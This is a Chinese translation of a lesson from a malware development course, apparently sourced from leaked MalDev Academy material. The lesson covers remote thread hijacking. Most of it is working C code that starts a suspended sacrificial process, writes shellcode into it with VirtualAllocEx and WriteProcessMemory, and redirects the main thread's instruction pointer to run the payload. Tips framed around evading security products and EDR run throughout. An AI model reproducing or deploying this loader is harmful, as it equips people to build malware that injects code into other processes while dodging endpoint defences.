模块 36 - 线程劫持 - 远程线程创建
恶意软件开发课程 - 线程劫持 - 远程线程创建
模块 36 - 线程劫持 - 远程线程创建#
[!IMPORTANT] 本知识库声明
本知识库由本人整理自互联网 MalDev Academy 泄露资源,并由本人手动翻译为中文,过程中增加了大量关键技术提示与实践心得。
- 内容完整性:并未修改任何核心代码与技术逻辑,仅做汉化与注释加强。
- 版权归属:原始知识产权归原作者/官方所有。
- 支持正版:本仓库仅供内部学习交流,如果您有经济能力,请务必支持正版课程。
- 权利申诉:如相关内容侵犯了您的权益,请联系我,我将立即核实并删除。
线程劫持 - 远程线程创建#
简介#
上一模块演示了通过创建一个运行良性虚拟函数的挂起牺牲线程并利用其句柄执行 Payload,对本地进程进行线程劫持。本模块将演示针对远程进程而不是本地进程的相同技术。
本模块的另一个显着区别是不会在远程进程中创建牺牲线程。虽然可以使用 CreateRemoteThread WinAPI 调用来完成,但它是一个经常被滥用的函数,因此受到安全解决方案的高度监控。
更好的方法是使用 CreateProcess ↗ 创建一个处于挂起状态的牺牲进程,这将使其所有线程在挂起状态下创建,从而允许它们被劫持。
💡 初学者提示:Fork & Run
这种“创建新进程 -> 注入代码 -> 恢复运行”的技术通常被称为 Fork & Run。
- 优点:如果 Shellcode 崩溃,只会导致新进程崩溃,不会影响我们的主马(Loader)。
- 缺点:进程创建行为本身通过内核回调(PsSetCreateProcessNotifyRoutine)很容易被监控。
远程线程劫持步骤#
本节描述了对驻留在远程进程中的线程执行线程劫持所需的步骤。
CreateProcess WinAPI#
CreateProcess 是一个强大且重要的 WinAPI,具有多种用途。为了确保用户有扎实的理解,下面解释了该函数的重要参数。
BOOL CreateProcessA(
[in, optional] LPCSTR lpApplicationName,
[in, out, optional] LPSTR lpCommandLine,
[in, optional] LPSECURITY_ATTRIBUTES lpProcessAttributes,
[in, optional] LPSECURITY_ATTRIBUTES lpThreadAttributes,
[in] BOOL bInheritHandles,
[in] DWORD dwCreationFlags,
[in, optional] LPVOID lpEnvironment,
[in, optional] LPCSTR lpCurrentDirectory,
[in] LPSTARTUPINFOA lpStartupInfo,
[out] LPPROCESS_INFORMATION lpProcessInformation
);clpApplicationName和lpCommandLine参数分别代表进程名称及其命令行参数。例如,lpApplicationName可以是C:\Windows\System32\cmd.exe,lpCommandLine可以是/k whoami。或者,lpApplicationName可以设置为NULL,但lpCommandLine可以包含进程名称及其参数,C:\Windows\System32\cmd.exe /k whoami。这两个参数都标记为可选,意味着新创建的进程不需要有任何参数。dwCreationFlags是控制优先级类和进程创建的参数。可以在此处 ↗找到此参数的可能值。例如,使用CREATE_SUSPENDED标志会在挂起状态下创建进程。lpStartupInfo是指向 STARTUPINFO ↗ 的指针,其中包含与进程创建相关的详细信息。唯一需要填充的元素是DWORD cb,即结构的大小(以字节为单位)。lpProcessInformation是一个 OUT 参数,返回一个 PROCESS_INFORMATION ↗ 结构。PROCESS_INFORMATION结构如下所示。
typedef struct _PROCESS_INFORMATION {
HANDLE hProcess; // 新创建进程的句柄。
HANDLE hThread; // 新创建进程的主线程的句柄。
DWORD dwProcessId; // 进程 ID
DWORD dwThreadId; // 主线程 ID
} PROCESS_INFORMATION, *PPROCESS_INFORMATION, *LPPROCESS_INFORMATION;c使用环境变量#
创建进程的最后一步是确定进程的完整路径。牺牲进程将从驻留在 System32 目录中的二进制文件创建。可以假设路径为 C:\Windows\System32 并硬编码该值,但通过编程验证路径总是更安全的。为此,将使用 GetEnvironmentVariableA ↗ WinAPI。GetEnvironmentVariableA 检索指定环境变量的值,在本例中为 “WINDIR”。
WINDIR 是指向 Windows 操作系统安装目录的环境变量。在大多数系统上,此目录是 “C:\Windows”。可以通过在命令提示符下键入 “echo %WINDIR%” 或在文件资源管理器搜索栏中只需键入 %WINDIR% 来访问 WINDIR 环境变量的值。
DWORD GetEnvironmentVariableA(
[in, optional] LPCSTR lpName,
[out, optional] LPSTR lpBuffer,
[in] DWORD nSize
);c创建牺牲进程函数#
CreateSuspendedProcess 将用于在挂起状态下创建牺牲进程。它需要 4 个参数:
lpProcessName- 要创建的进程的名称。dwProcessId- 指向接收进程 ID 的 DWORD 的指针。hProcess- 指向接收进程句柄的 HANDLE 的指针。hThread- 指向接收线程句柄的 HANDLE 的指针。
BOOL CreateSuspendedProcess (IN LPCSTR lpProcessName, OUT DWORD* dwProcessId, OUT HANDLE* hProcess, OUT HANDLE* hThread) {
CHAR lpPath [MAX_PATH * 2];
CHAR WnDr [MAX_PATH];
STARTUPINFO Si = { 0 };
PROCESS_INFORMATION Pi = { 0 };
// 通过将成员值设置为 0 来清理结构
RtlSecureZeroMemory(&Si, sizeof(STARTUPINFO));
RtlSecureZeroMemory(&Pi, sizeof(PROCESS_INFORMATION));
// 设置结构的大小
Si.cb = sizeof(STARTUPINFO);
// 获取 %WINDIR% 环境变量的值
if (!GetEnvironmentVariableA("WINDIR", WnDr, MAX_PATH)) {
printf("[!] GetEnvironmentVariableA Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 创建完整的目标进程路径
sprintf(lpPath, "%s\\System32\\%s", WnDr, lpProcessName);
printf("\n\t[i] Running : \"%s\" ... ", lpPath);
if (!CreateProcessA(
NULL, // 无模块名称 (使用命令行)
lpPath, // 命令行
NULL, // 进程句柄不可继承
NULL, // 线程句柄不可继承
FALSE, // 将句柄继承设置为 FALSE
CREATE_SUSPENDED, // 创建标志 (挂起)
NULL, // 使用父级的环境块
NULL, // 使用父级的起始目录
&Si, // 指向 STARTUPINFO 结构的指针
&Pi)) { // 指向 PROCESS_INFORMATION 结构的指针
printf("[!] CreateProcessA Failed with Error : %d \n", GetLastError());
return FALSE;
}
printf("[+] DONE \n");
// 使用 CreateProcessA 的输出填充 OUT 参数
*dwProcessId = Pi.dwProcessId;
*hProcess = Pi.hProcess;
*hThread = Pi.hThread;
// 进行检查以验证我们是否获得了所需的一切
if (*dwProcessId != NULL && *hProcess != NULL && *hThread != NULL)
return TRUE;
return FALSE;
}c注入远程进程函数#
创建目标进程后的下一步是使用来自 Process Injection - Shellcode 初学者模块的 InjectShellcodeToRemoteProcess 函数注入 Payload。Payload 仅写入远程进程而不执行。然后存储基地址以供以后通过线程劫持使用。
BOOL InjectShellcodeToRemoteProcess (IN HANDLE hProcess, IN PBYTE pShellcode, IN SIZE_T sSizeOfShellcode, OUT PVOID* ppAddress) {
SIZE_T sNumberOfBytesWritten = NULL;
DWORD dwOldProtection = NULL;
*ppAddress = VirtualAllocEx(hProcess, NULL, sSizeOfShellcode, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (*ppAddress == NULL) {
printf("\n\t[!] VirtualAllocEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
printf("[i] Allocated Memory At : 0x%p \n", *ppAddress);
if (!WriteProcessMemory(hProcess, *ppAddress, pShellcode, sSizeOfShellcode, &sNumberOfBytesWritten) || sNumberOfBytesWritten != sSizeOfShellcode) {
printf("\n\t[!] WriteProcessMemory Failed With Error : %d \n", GetLastError());
return FALSE;
}
if (!VirtualProtectEx(hProcess, *ppAddress, sSizeOfShellcode, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
printf("\n\t[!] VirtualProtectEx Failed With Error : %d \n", GetLastError());
return FALSE;
}
return TRUE;
}c远程线程劫持函数#
在创建挂起进程并将 Payload 写入远程进程后,最后一步是使用 CreateSuspendedProcess 返回的线程句柄执行线程劫持。这部分与本地线程劫持模块中演示的部分相同。
回顾一下,使用 GetThreadContext 检索线程上下文,更新 RIP 寄存器以指向写入的 Payload,调用 SetThreadContext 更新线程上下文,最后使用 ResumeThread 执行 Payload。所有这些都在下面的自定义函数 HijackThread 中演示,该函数接受两个参数:
hThread- 要劫持的线程。pAddress- 指向要执行的 Payload 基地址的指针。
BOOL HijackThread (IN HANDLE hThread, IN PVOID pAddress) {
CONTEXT ThreadCtx = {
.ContextFlags = CONTEXT_CONTROL
};
// 获取原始线程上下文
if (!GetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] GetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 更新下一条指令指针,使其等于我们的 shellcode 地址
ThreadCtx.Rip = pAddress;
// 设置新的更新后的线程上下文
if (!SetThreadContext(hThread, &ThreadCtx)) {
printf("\n\t[!] SetThreadContext Failed With Error : %d \n", GetLastError());
return FALSE;
}
// 恢复挂起的线程,从而运行我们的 Payload
ResumeThread(hThread);
WaitForSingleObject(hThread, INFINITE);
return TRUE;
}c结论#
快速回顾本模块中演示的内容:
- 使用
CreateProcessA在挂起状态下创建了一个新进程,也就是将其所有线程也都在挂起状态下创建。 - 使用
VirtualAllocEx和WriteProcessMemory将 Payload 注入到新创建的进程中,但未执行。 - 使用
CreateProcessA返回的线程句柄通过线程劫持执行 Payload。
演示#
本演示使用 Notepad.exe 作为牺牲进程,劫持其线程并执行 Msfvenom 计算器 Shellcode。

🎯 总结#
在本模块中,我们学习了:
- 远程线程劫持:比本地劫持更强大,因为可以在一个全新的、干净的进程中运行代码。
- 牺牲进程:使用
CreateProcess(挂起状态) 启动一个受害者进程,这比滥用CreateRemoteThread更安全。 - 上下文操作:跨进程修改线程上下文 (
GetThreadContext/SetThreadContext) 的能力。
💡 关键要点
- 通过
CreateProcess获得的hThread句柄已经拥有完全访问权限,因此不需要像OpenThread那样再去请求权限。- 这是一个非常经典的 Loader 模式:启动 -> 注入 -> 劫持 -> 恢复。
- 注意:一些 EDR 可能会检测
SetThreadContext调用,特别是当它指向非模块内存区域(即VirtualAlloc分配的堆区域)时。
📚 下一步学习
下一个模块将介绍 Thread Hijacking - Local Thread Enumeration。如果我们想劫持一个已经运行的进程中的线程,而不是自己创建的新进程,该怎么办?我们需要先枚举出它的线程!